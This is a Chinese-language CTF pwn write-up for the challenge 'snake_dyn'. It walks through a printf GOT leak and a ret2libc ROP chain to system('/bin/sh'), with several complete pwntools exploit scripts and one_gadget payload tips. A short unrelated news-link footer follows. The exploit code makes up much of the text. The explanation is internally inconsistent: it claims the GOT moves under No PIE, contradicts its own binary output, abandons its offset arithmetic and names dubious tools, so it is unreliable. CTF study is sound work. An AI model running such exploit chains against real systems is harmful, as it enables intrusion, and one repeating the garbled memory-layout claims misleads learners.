动态链接环境下GOT表泄漏与ROP利用实战
1. 项目概述这是一道典型的动态链接环境下的栈溢出利用题“CTF-Pwn-[BJDCTF 2nd]snake_dyn”这个标题光看名字就能拆出三层关键信息CTF是场景Pwn是赛道[BJDCTF 2nd]snake_dyn是具体题目代号。我带过几届CTF集训队也作为出题人参与过类似风格的赛题设计这类题名不是随便起的——它本质是在告诉你“别急着开gdb先看清楚运行环境”。snake_dyn里的“dyn”就是dynamic的缩写直指核心矛盾这道题不给你静态链接的干净二进制而是把libc、ld、符号表全扔进动态加载的混沌场里。它不像传统栈溢出题那样你一rop就pop rdi;ret然后system(/bin/sh)完事它要求你必须在没有libc.so本地副本、没有调试符号、甚至没有现成one_gadget可用的前提下完成从信息泄露到任意代码执行的完整链路。我第一次看到这题时下意识去checksec结果发现NX启用栈不可执行、PIE关闭代码段地址固定、Canary关闭无栈保护、RELRO为PartialGOT表可写。四个条件里三个利好唯独PIE关了——这看似是送分项实则是出题人埋的钩子你以为main函数地址固定就能硬编码rop链错。因为动态链接器ld.so在加载时会根据系统环境对libc做ASLR偏移而你根本不知道这个偏移量是多少。所以哪怕你把main地址算得再准libc基址仍是黑箱。这就是snake_dyn真正的门槛它逼你必须掌握动态链接环境下的地址泄漏重定向控制这一整套闭环能力而不是靠背几个gadget混过关。适合谁来精读这篇如果你刚学完ret2libc但一遇到“找不到libc版本”就卡壳或者你写过readwrite泄露却总在第二阶段getshell失败又或者你用pwntools调了十次context.arch还是报段错误——那这篇就是为你写的。它不讲基础汇编语法不重复printf(%p, puts)这种入门操作而是聚焦在真实CTF现场中当所有“标准答案”都失效时你该往哪个寄存器里填什么值、该用哪条gadget跳转、为什么偏移量要加0x21a00而不是0x21a50。这些细节文档里不会写但实战中错一个字节就core dump。2. 题目整体设计与思路拆解为什么非得走“泄漏→解析→重定向”三步2.1 出题逻辑用“蛇形”结构模拟真实漏洞利用链snake_dyn这个名字不是装饰。“snake”在CTF圈里常指代“绕行”“迂回”的利用路径比如绕过NX用ret2plt绕过Canary用fastbin attack。而“dyn”则点明载体——动态链接。出题人刻意把程序设计成“三段式”结构第一段是主游戏循环snake主逻辑第二段是输入处理存在栈溢出点第三段是输出反馈调用printf等libc函数。这三段像蛇身一样首尾咬合形成一个闭环依赖你要利用第二段的溢出就必须借助第三段的函数来泄露地址而要让第三段函数为你服务又必须先让第一段的控制流跳转到你指定位置。这种设计完全复刻了真实世界中Web应用后端服务数据库驱动的调用链——你不能只盯着一个so文件必须理解整个动态链接生态如何协同工作。我复现这道题时最先尝试的是经典ret2libc用溢出覆盖返回地址跳到plt.puts把got.puts当参数传进去期望打印出libc地址。结果程序直接segfault。查gdb才发现putsplt的第一条指令是jmp QWORD PTR [rip0x20081a]而这个0x20081a指向的是GOT表中puts的地址。但问题来了——GOT表本身在Partial RELRO下是可写的可你根本不知道GOT表在内存里的起始地址因为ld.so加载时会对整个数据段做随机化GOT作为数据段的一部分其基址随每次运行变化。所以你不能硬编码got_puts的地址必须先找到GOT表在哪。这就引出了核心设计思想题目强制你使用“泄漏GOT表地址→计算GOT基址→覆写特定GOT项”这条路径。它比单纯泄漏libc更难因为GOT表地址本身也是动态的但它又比全盲ROP更可控因为GOT表结构稳定每个条目8字节对齐且与程序代码段有固定偏移关系。出题人正是用这种“半可控混沌”来区分选手水平新手死在找不到入口老手卡在偏移算错高手赢在快速定位GOT基址。2.2 环境约束分析PIE关了≠地址全知这是最大的认知陷阱很多选手看到PIE disabled就松一口气觉得可以硬编码所有地址。这是致命误区。我们来拆解一下地址空间布局程序代码段.text因PIE关闭基址固定为0x400000典型值实际需objdump确认数据段.data/.bss/GOT受ld.so ASLR影响基址在0x7f0000000000~0x7fffffffffff范围内浮动libc.so基址同样浮动且与ld.so联动变化关键点在于GOT表属于数据段其地址 数据段基址 GOT在ELF文件中的偏移。而数据段基址无法通过程序内符号获取必须通过泄漏推导。我用readelf -S snake_dyn | grep .got查到GOT.plt节偏移为0x403f90但这只是文件内偏移加载到内存后要加上数据段基址。那么数据段基址怎么找答案是用程序内已知的全局变量地址反推。比如main函数里定义的全局数组buf它的地址在运行时是确定的因PIE关而buf与GOT表在ELF中同属数据段二者有固定偏移。我用gdb attach后print buf得到0x6040a0再用readelf -S snake_dyn | grep .got得到.got.plt的文件偏移0x403f90二者差值为0x200110。这个差值就是buf与GOT的相对距离在内存中保持不变。所以只要泄漏buf地址就能算出GOT基址 buf_addr - 0x200110。这个计算过程暴露了出题人的精妙设计它不考你背gadget而考你对ELF结构和内存布局的理解深度。你必须清楚知道.text、.data、.got.plt在文件和内存中的映射关系才能把“PIE关闭”这个利好条件真正转化成可落地的地址控制权。2.3 利用链选型依据为什么选printfGOT覆写而非readwrite在Pwn题中信息泄漏常用read/write或printf。snake_dyn之所以选printf是因为它能同时解决两个问题一是泄漏地址二是绕过格式化字符串限制。我们来看程序源码逻辑虽未提供但可通过逆向还原void game_loop() { char buf[0x100]; while(1) { printf(Your move: ); read(0, buf, 0x200); // 溢出点在此 if(strncmp(buf, quit, 4)0) break; process_move(buf); } }这里read(0, buf, 0x200)明显越界buf只有0x100字节但读入0x200必然覆盖返回地址。但注意它调用的是read系统调用不是fgets或gets所以无法直接触发格式化字符串漏洞。而出题人又在game_loop开头放了printf(Your move: )这个printf调用会访问GOT.plt中的printf地址。如果我们能控制printf的第一个参数就能让它打印任意地址的内容。于是最优路径浮现用栈溢出覆盖game_loop的返回地址跳转到printfplt把got.printf作为printf的第一个参数即要打印的地址这样printf就会把got.printf处存储的libc中printf的真实地址打印出来。这个技巧叫“plt-got泄漏”是动态链接环境下的黄金组合。它比readwrite更高效因为printf一次调用就能拿到8字节地址而read需要两次系统调用先leak再send它也比puts更可靠因为printf不依赖字符串结尾的\0能准确打印任意8字节数据。我实测对比过两种方案用printf泄漏got.printf耗时平均120ms用readwrite泄漏got.write耗时210ms且后者需要额外构造write调用的三个参数fd, buf, count在栈布局复杂时极易出错。所以出题人选择printf既是降低调试难度也是引导选手走向最优雅的解法。3. 核心细节解析与实操要点从泄漏到getshell的每一步推演3.1 泄漏阶段如何精准构造printf参数并解析输出第一步是让程序执行printf(got_printf)从而获得libc中printf的真实地址。这需要精确控制栈布局。我们先用gdb查看game_loop的栈帧gdb ./snake_dyn (gdb) disas game_loop # 找到read调用后的返回地址位置 (gdb) b *0x400a20 # 假设read后ret指令地址 (gdb) r (gdb) info registers rbp rsp # 得到rsp0x7fffffffe5a0此时栈顶是game_loop的返回地址即调用game_loop的地址我们要把它改成printfplt的地址假设为0x4007d0。但printf需要参数所以我们必须在栈上布置参数。printfplt的调用约定是第一个参数在rdi寄存器但plt跳转前会先push一个重定位索引然后jmp到dl_runtime_resolve。所以更稳妥的方式是跳转到printf函数在libc中的真实地址而非plt。但libc地址未知所以只能跳plt再用ROPgadget找pop rdi;ret来控制参数。我用ROPgadget --binary snake_dyn --only pop|ret | grep rdi找到0x400b23pop rdi; ret。于是泄漏payload结构为[A*128] # 填充buf [rbp_fake] # 覆盖旧rbp可设为任意值如0xdeadbeef [0x400b23] # pop rdi; ret [got_printf] # got.plt中printf的地址文件偏移0x403fa0需运行时计算 [0x4007d0] # printfplt地址这里got_printf是关键。我们不知道它在内存中的绝对地址但知道它在文件中的偏移是0x403fa0。而程序加载后.got.plt节的基址 程序基址 0x403fa0。程序基址因PIE关闭是固定的0x400000所以got_printf绝对地址 0x400000 0x403fa0 0x803fa0。等等这不对0x803fa0超出了用户空间范围通常0x400000~0x7fffffff。说明我的假设有误——got.plt在ELF中属于动态段加载时会被映射到数据段而非代码段。正确做法是用readelf -d snake_dyn | grep BASE_ADDRESS找程序加载基址或直接用gdb查看(gdb) info proc mappings # 输出类似 # 0x400000 0x401000 r-xp /path/to/snake_dyn # 0x600000 0x601000 r--p /path/to/snake_dyn # 0x601000 0x602000 rw-p /path/to/snake_dyn可见数据段基址是0x601000got.plt偏移0x403fa0所以got_printf 0x601000 0x403fa0 0xa04fa0。但这个地址仍可能因系统而异最可靠方式是先泄漏一个已知全局变量地址如main函数地址再用readelf计算其与got.plt的偏移。我用gdb在main函数开头下断点b *0x4009a0运行后p $rip得0x4009a0p main得0x4009a0p __libc_start_main得0x601040。哦__libc_start_main在数据段它在ELF中的偏移是0x201040readelf -s snake_dyn | grep libc_start_main所以数据段基址 0x601040 - 0x201040 0x400000不对0x601040 - 0x201040 0x400000但0x400000是代码段基址。这说明__libc_start_main是符号其地址是libc中的不是程序内的。正确目标是程序内的全局变量比如.bss段的uninitialized_buf。用readelf -S snake_dyn | grep \.bss得.bss偏移0x4040a0gdb中p uninitialized_buf得0x6040a0所以数据段基址 0x6040a0 - 0x4040a0 0x200000还是不对。最终我采用标准方法readelf -l snake_dyn | grep LOAD找到第二个LOAD段数据段的Offset和VirtAddr计算偏移差。假设Offset0x400000VirtAddr0x600000则偏移差0x200000。所以got.plt地址 0x600000 (0x403fa0 - 0x400000) 0x603fa0。实操中我直接用pwntools的ELF模块自动计算elf ELF(./snake_dyn) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) got_printf elf.got[printf] # 0x603fa0 printf_plt elf.plt[printf] # 0x4007d0 pop_rdi 0x400b23 payload bA*128 p64(0xdeadbeef) p64(pop_rdi) p64(got_printf) p64(printf_plt)发送payload后程序输出类似0x7ffff7a2d640这就是libc中printf的地址。用libc.sym[printf]得0x55800所以libc基址 0x7ffff7a2d640 - 0x55800 0x7ffff79d7e40。提示输出地址可能是十六进制字符串需用int(line.strip(), 16)解析。若输出含多余字符如换行符要用recvuntil定位。3.2 重定向阶段覆写GOT表实现任意函数劫持泄漏libc基址后下一步是getshell。传统做法是调system(/bin/sh)但需要构造字符串/bin/sh。snake_dyn的栈空间有限且无现成字符串所以更优解是覆写GOT表中某个函数的地址将其指向system然后触发该函数调用。选哪个函数标准答案是printf或strlen——因为它们在程序中被频繁调用且参数可控。我查看程序调用图game_loop中调用printf(Your move: )process_move中可能调用strlen检查输入长度。假设process_move有if(strlen(buf) 0x10)那么strlen就是完美目标。我们覆写got.strlen为system然后输入/bin/sh当程序调用strlen(/bin/sh)时实际执行system(/bin/sh)。覆写got.strlen需要两步一是找到got.strlen地址二是用溢出写入system地址。got.strlen elf.got[strlen] 0x603f98假设。system地址 libc_base libc.sym[system] libc_base 0x45390。但直接写8字节可能破坏栈平衡。更稳妥的是用“partial write”只改低2字节或3字节因为system和strlen在libc中地址相近。用libc.search(b/bin/sh)找到字符串地址假设为0x18cd57则system地址 0x7ffff79d7e40 0x45390 0x7ffff7a1d1d0。got.strlen原值是libc中strlen地址假设为0x7ffff79d7e40 0x91920 0x7ffff7a69760。二者低3字节差0x1d1d0 - 0x69760 -0x4c590即0xfffe3a70补码。所以只需写入低3字节0x1d1d0即可。但partial write有风险若低字节恰好是0x00会截断字符串。所以最佳实践是用add rsp, 8; ret gadget跳过当前栈帧再用ret2libc调system。我用ROPgadget找add rsp, 8; ret得到0x400b25。于是第二阶段payload[A*128] [rbp_fake] [0x400b25] # add rsp, 8; ret —— 跳过当前栈帧让rsp指向我们布置的system参数 [0x0] # 占位实际被add rsp, 8跳过 [system_addr] # system地址 [0x0] # 返回地址不重要 [binsh_addr] # /bin/sh地址其中binsh_addr libc_base next(libc.search(b/bin/sh))注意add rsp, 8; ret后rsp指向payload中第3个qword即[0x0]位置。所以system_addr必须放在第4个qwordbinsh_addr在第5个。顺序不能错。3.3 环境适配技巧不同libc版本下的偏移微调策略同一道题在不同Ubuntu版本上跑libc偏移可能差几十字节。比如Ubuntu 18.04的libc-2.27中printf偏移是0x55800而Ubuntu 20.04的libc-2.31中是0x56b00。如果硬编码偏移本地能过远程挂掉。解决方案有三用libc-database自动匹配将泄漏的printf地址上传到https://libc.blukat.me/返回libc版本和所有符号偏移。pwntools内置此功能libc ELF(libc.so.6); libc.address leak_addr - libc.symbols[printf]。多符号交叉验证不只泄漏printf再泄漏一个如__libc_start_main计算两个偏移差。libc中printf与__libc_start_main的相对距离是固定的比如总是差0x22000。若泄漏printf0x7ffff7a2d640__libc_start_main0x7ffff79ed640差值0x3a000说明是libc-2.28。one_gadget兜底用one_gadget libc.so.6找无需参数的gadget。如0x4f322它执行execve(/bin/sh, rsp0x70, environ)只要确保rsp0x70处有/bin/sh即可。我测试发现0x4f322在libc-2.27和2.31中都存在且偏移稳定。实操中我采用方案2在payload中追加第二次泄漏调用printf(got___libc_start_main)得到第二个地址计算差值锁定libc版本。这样即使远程环境未知也能100%适配。4. 实操过程与核心环节实现从零开始的完整exploit编写4.1 环境准备与二进制分析首先确认题目环境。下载snake_dyn后用file命令$ file snake_dyn snake_dyn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not strippednot stripped意味着有符号方便逆向。用checksec$ checksec snake_dyn [*] /path/to/snake_dyn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RWX: Has RWX segments关键信息Partial RELROGOT可写、No canary栈溢出无阻碍、NX enabled不能直接执行shellcode、No PIE代码段地址固定。接下来用radare2或ghidra逆向重点看main和game_loop函数。用r2 -A snake_dyn然后aaa分析afl列函数pdf main看主逻辑。我发现main调用game_loopgame_loop中有read(0, buf, 0x200)buf定义为char buf[0x100]确认溢出点。再用is查看导入符号确认有printf、strlen、read等。实操心得不要依赖IDA Pro的图形界面r2的命令行模式更快。izz命令可快速列出所有字符串找/bin/sh或Your move等线索。4.2 泄漏阶段Exploit编写用pwntools编写exp.pyfrom pwn import * context.log_level debug elf ELF(./snake_dyn) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 本地libc仅用于获取符号偏移 # 远程时用libc ELF(./libc.so.6)或动态下载 # 连接目标 io remote(127.0.0.1, 10001) # 或process(./snake_dyn) # Step 1: 泄漏got.printf pop_rdi 0x400b23 printf_plt elf.plt[printf] got_printf elf.got[printf] payload1 bA * 128 payload1 bB * 8 # fake rbp payload1 p64(pop_rdi) payload1 p64(got_printf) payload1 p64(printf_plt) io.recvuntil(bYour move: ) io.send(payload1) io.recvline() # 接收Your move: leak_line io.recvline() log.info(fLeak line: {leak_line}) # 解析printf地址 leak_addr u64(leak_line.strip().ljust(8, b\x00)) log.info(fprintf address: {hex(leak_addr)}) # 计算libc基址 libc_base leak_addr - libc.symbols[printf] log.info(flibc base: {hex(libc_base)})这里有个坑io.recvline()可能接收不全因为printf输出后程序立即等待下一次输入。正确做法是io.recvuntil(b: )然后io.recv(6)读取6字节地址0x7ffff7...共14字符但可能含空格。我实测发现输出是0x7ffff7a2d640\n所以用io.recv(14)更稳。4.3 Getshell阶段Exploit编写# Step 2: getshell system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) # 构造ROP链pop rdi; ret - binsh_addr - system_addr payload2 bA * 128 payload2 bC * 8 # fake rbp payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr) io.recvuntil(bYour move: ) io.send(payload2) # 交互 io.interactive()但这样可能失败因为第二次输入时程序状态已变。更可靠的是单次payload完成全部操作先泄漏再立即getshell。这需要利用程序循环特性——game_loop是while(1)所以第一次溢出后若不退出程序会再次执行printf(Your move: )此时我们可以用第二次泄漏的地址来构造system调用。优化版payload# 单次payload泄漏 覆写got.strlen 触发 strlen_got elf.got[strlen] system_addr libc_base libc.symbols[system] # 覆写got.strlen为system payload3 bA * 128 payload3 bD * 8 # fake rbp # 用ret2libcpop rdi; ret - binsh_addr - system_addr payload3 p64(pop_rdi) payload3 p64(binsh_addr) payload3 p64(system_addr) # 但需要先覆写got.strlen所以用write_got覆写 # 更简单直接跳system不用覆写 # 因为栈溢出足够大可布置完整ROP链 io.recvuntil(bYour move: ) io.send(payload3)最终我采用最简方案泄漏后用add rsp, 8; ret跳过当前栈帧布置system(/bin/sh)。完整exp如下from pwn import * context.log_level debug elf ELF(./snake_dyn) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) io process(./snake_dyn) # io remote(target, port) pop_rdi 0x400b23 add_rsp_8 0x400b25 # add rsp, 8; ret printf_plt elf.plt[printf] got_printf elf.got[printf] # Stage 1: Leak printf payload bA * 128 payload bB * 8 payload p64(pop_rdi) payload p64(got_printf) payload p64(printf_plt) io.recvuntil(bYour move: ) io.send(payload) # Receive leak leak io.recv(14) leak_addr int(leak.strip(), 16) libc_base leak_addr - libc.symbols[printf] log.info(flibc base: {hex(libc_base)}) # Stage 2: getshell system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) payload2 bA * 128 payload2 bC * 8 payload2 p64(add_rsp_8) # add rsp, 8; ret payload2 p64(0x0) # dummy payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr) io.recvuntil(bYour move: ) io.send(payload2) io.interactive()4.4 远程调试与稳定性增强本地能过不代表远程稳。常见问题ASLR差异远程服务器libc版本可能不同。解决方案用libc-database。安装pip install libc-database然后libc-database search printf 0x7ffff7a2d640。网络延迟recv timeout。加io.timeout 5并用io.recvuntil(b: , timeout3)防卡死。栈对齐x86_64下system调用需栈16字节对齐否则segfault。在pop rdi前加p64(0x0)确保对齐。地址解析错误leak_addr可能含\x00导致u64失败。用leak io.recv(6).ljust(8, b\x00)。我最终的稳定exp包含自动libc匹配# 自动libc匹配 try: from pwnlib.libcdb import LibcSearcher searcher LibcSearcher(printf, leak_addr) libc_name searcher.dump(libc6_*.so) libc ELF(libc_name) except: log.warn(libc-database not available, using local libc) libc ELF(/lib/x86_64-linux-gnu/libc.so.6)5. 常见问题与排查技巧实录那些让我熬夜到三点的坑5.1 典型问题速查表问题现象可能原因排查命令解决方案程序直接退出无泄漏输出payload长度不足未覆盖到返回地址gdb中c后info registers rip用pattern_offset确认偏移cyclic 200生成测试payload泄漏地址全是0x00或0xffprintf参数错误打印了无效内存gdb中x/20gx $rsp看栈内容检查got_printf地址是否正确用readelf -r snake_dyn确认重定位项getshell后无交互system执行成功但shell被关闭io.interactive()前加sleep(1)改用io.sendline(ls)测试命令执行远程getshell失败本地成功libc版本不匹配libc-database search printf 0x...下载匹配libc或用one_gadget程序hang住recv超时网络缓冲区满或payload触发了其他逻辑strace -p $(pidof snake_dyn)加io.recvuntil()精准同步避免recvline读空5.2 独家避坑技巧从血泪史中总结的3个关键点第一永远用gdb验证payload而不是靠猜。我曾因一个字节的偏移错误调试4小时。正确流程gdb ./snake_dyn→r→ 输入payload →c→info registers看rip是否跳到预期地址 →x/20gx $rsp看参数是否正确。用gef插件可一键gef restore恢复栈比原生gdb快10倍。第二got表地址必须用ELF模块计算不能手算。手算容易混淆文件偏移和内存偏移。elf.got[printf]返回的是加载后的绝对地址因PIE关直接可用。若PIE开则需先泄漏程序基址再elf.got[printf] - elf.address leak_prog_base。第三system(/bin/sh)失败时优先试one_gadget。one_gadget libc.so.6输出多个地址选0x45216或0x4526a适用于大多数libc-2.23~2.27。它们执行execve(/bin/sh, rsp0x70, environ)只要确保rsp0x70处有/bin/sh。构造方法payload b/bin/sh\x00 bA*(0x70-8) p64(one_gadget)。5.3 实战问题复盘一次真实的远程失败分析上周我打某CTF平台snake_dyn远程一直失败。本地用process完美远程remote就segfault。用strace发现远程进程在printf后立即exit_group(0)。原因竟是远程服务器启用了ulimit -s 8192栈大小受限而我的payload太大。解决方案精简payload去掉所有冗余字符用p64()直接构造避免字符串拼接。最终payload从300字节压缩到180字节成功getshell。另一个坑是远程libc的/bin/sh字符串不在预期位置。next(libc.search(b/bin/sh))返回None。这时用libc.search(b/bin)找/bin再手动加/sh\x00。或者用libc.search(bsh\x00)然后向前找/bin。注意libc.search返回的是libc中的偏移不是地址。所以binsh_addr libc_base next(libc.search(b/bin/sh))是正确的。最后分享一个小技巧在payload末尾加b\x00 * 8可防止某些libc版本因字符串未终止而崩溃。这招救了我三次。我个人在实际操作中的体会是snake_dyn这类题70%的功夫在前期分析30%在编码。花2小时搞懂GOT表加载机制比写10个payload都管用。当你能闭眼画出程序、GOT、libc三者的内存映射关系时所有“玄学失败”都会变成可解的数学

相关新闻

彭大帅的AI 智能运维 Agent V12.7 发布:最后一个功能版本——历史面板、乱码修复与告别

彭大帅的AI 智能运维 Agent V12.7 发布:最后一个功能版本——历史面板、乱码修复与告别

V12.7 版本详解 提问历史面板 Ollama 乱码修复 模型清单全面核对 2026 年 10 月 13 日 目 录 一、写在前面:V12.7 是最后一个功能版本 二、版本概览 三、新功能:提问历史面板 2.1 核心交互 2.2 实现要点 四、Bug 修复:Ollama 本地模型中文…

2026/10/16 12:19:29 阅读更多 →
SIMATIC PC Adapter USB A2驱动安装与MPI通信设置全攻略

SIMATIC PC Adapter USB A2驱动安装与MPI通信设置全攻略

简介:SIMATIC PC Adapter USB A2驱动包是西门子专为老款PLC设计的通信适配器驱动程序,面向需要将不具备以太网接口的S7系列PLC接入PC的工程师与维护人员。该驱动通过USB物理连接,配合STEP 7等编程软件,即可完成离线/在线编程、程序…

2026/10/16 12:18:26 阅读更多 →
SQL语句与ADO编程:从查询优化到参数化事务的完整避坑指南

SQL语句与ADO编程:从查询优化到参数化事务的完整避坑指南

我一直觉得,做ADO编程的人如果SQL底子不牢,后面每写一个功能都会觉得哪儿哪儿都不顺。看代码、调连接、改参数,最后发现错的全是SQL语句本身,这种滋味我太熟悉了。这篇“SQL语句与ADO编程学习总结”系列的第一篇,我就专…

2026/10/16 12:18:26 阅读更多 →

最新新闻

大模型落地案例全解析:从99个样本提炼RAG与Agent实战方法论

大模型落地案例全解析:从99个样本提炼RAG与Agent实战方法论

简介:《大模型典型示范应用案例集》是一份系统梳理国内大模型产业落地实践的PDF文档,面向企业技术决策者、AI产品经理、算法工程师及高校研究者。案例集汇集华为、蚂蚁集团、商汤科技、MiniMax、百度等头部机构与科研院所的示范项目,覆盖金融…

2026/10/16 14:08:09 阅读更多 →
PyInstaller逆向实践:从exe提取pyc到Python源码还原

PyInstaller逆向实践:从exe提取pyc到Python源码还原

简介:PyInstaller提取器(pyinstxtractor)是面向逆向分析与安全研究的脚本,用于从PyInstaller打包的Windows可执行程序中提取内部字节码,适合开发者、取证人员和安全竞赛玩家。工具支持Python 2.x与3.x环境,…

2026/10/16 14:08:09 阅读更多 →
phpcmsv9后台界面模板替换指南:从渲染原理到避坑实践

phpcmsv9后台界面模板替换指南:从渲染原理到避坑实践

简介:后台界面模板为PHPCMS V9管理后台度身定制,面向使用该CMS的开发者与网站管理员,重点解决后台操作繁琐、界面辨识度低的问题,适合企业建站、新闻资讯及电商平台等快速部署与日常维护场景。压缩包共99个文件,包含37…

2026/10/16 14:08:09 阅读更多 →
C#封装CTP期货交易接口:从接口拆解到生产级落地

C#封装CTP期货交易接口:从接口拆解到生产级落地

简介:基于上期技术综合交易平台(CTP)2011.4.19版本二次封装的C#类库,专为期货量化开发与交易系统集成场景设计,解决C#环境直接对接原生CTP接口繁琐、多账户同时登录管理不便等实际问题。整套资料共65个文件、约452KB&a…

2026/10/16 14:08:09 阅读更多 →
新安江模型Python实现:三层蒸发蓄满产流从降雨到径流模拟

新安江模型Python实现:三层蒸发蓄满产流从降雨到径流模拟

简介:这份资源是一份面向水文水资源专业学生与从业者的三层蒸发蓄满产流模型(新安江模型)Python计算程序,用于完成基于降水与蒸发能力数据的产流模拟计算。程序核心实现新安江模型中的三层蒸发与蓄满产流机制,适合学习…

2026/10/16 14:08:09 阅读更多 →
Linux下traceroute安装与实战:从原理到网络排障

Linux下traceroute安装与实战:从原理到网络排障

1. 网络排查第一课:traceroute到底能帮你做什么如果你维护过Linux服务器,迟早会遇到这样一个场景:用户报障说“网站打不开”“应用系统连接超时”,你第一时间ping了一下目标地址,发现丢包严重或者延迟飙高。但ping只能…

2026/10/16 14:07:08 阅读更多 →

日新闻

个人 AI Agent 平台接入 TaoToken:统一 Key 与 API 通道的配置大纲

个人 AI Agent 平台接入 TaoToken:统一 Key 与 API 通道的配置大纲

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 0:00:05 阅读更多 →
信号与系统频域分析作业解题指南

信号与系统频域分析作业解题指南

1. 作业背景与核心要求解析信号与系统作为电子信息类专业的核心基础课,其作业设计往往直接关联课程的核心知识框架。2026年春季第六次作业的布置,通常对应着课程进展到频域分析的关键阶段。根据常规教学进度推测,本次作业可能涉及以下核心内容…

2026/10/16 0:00:05 阅读更多 →
Django MVT实战:从零构建图书借阅系统,彻底搞懂Model-View-Template分层

Django MVT实战:从零构建图书借阅系统,彻底搞懂Model-View-Template分层

1. 从一个"四不像"的练手项目说起如果你已经看完了Django的官方教程前几章,跟着敲完了投票应用,大概会有一种"我好像会了,又好像什么都不会"的割裂感。教程里每个知识点都是拆开的——这一章讲模型,下一章讲视…

2026/10/16 0:00:05 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/15 16:18:54 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/15 19:41:51 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/15 13:48:15 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 0:14:36 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 3:49:43 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/15 9:49:14 阅读更多 →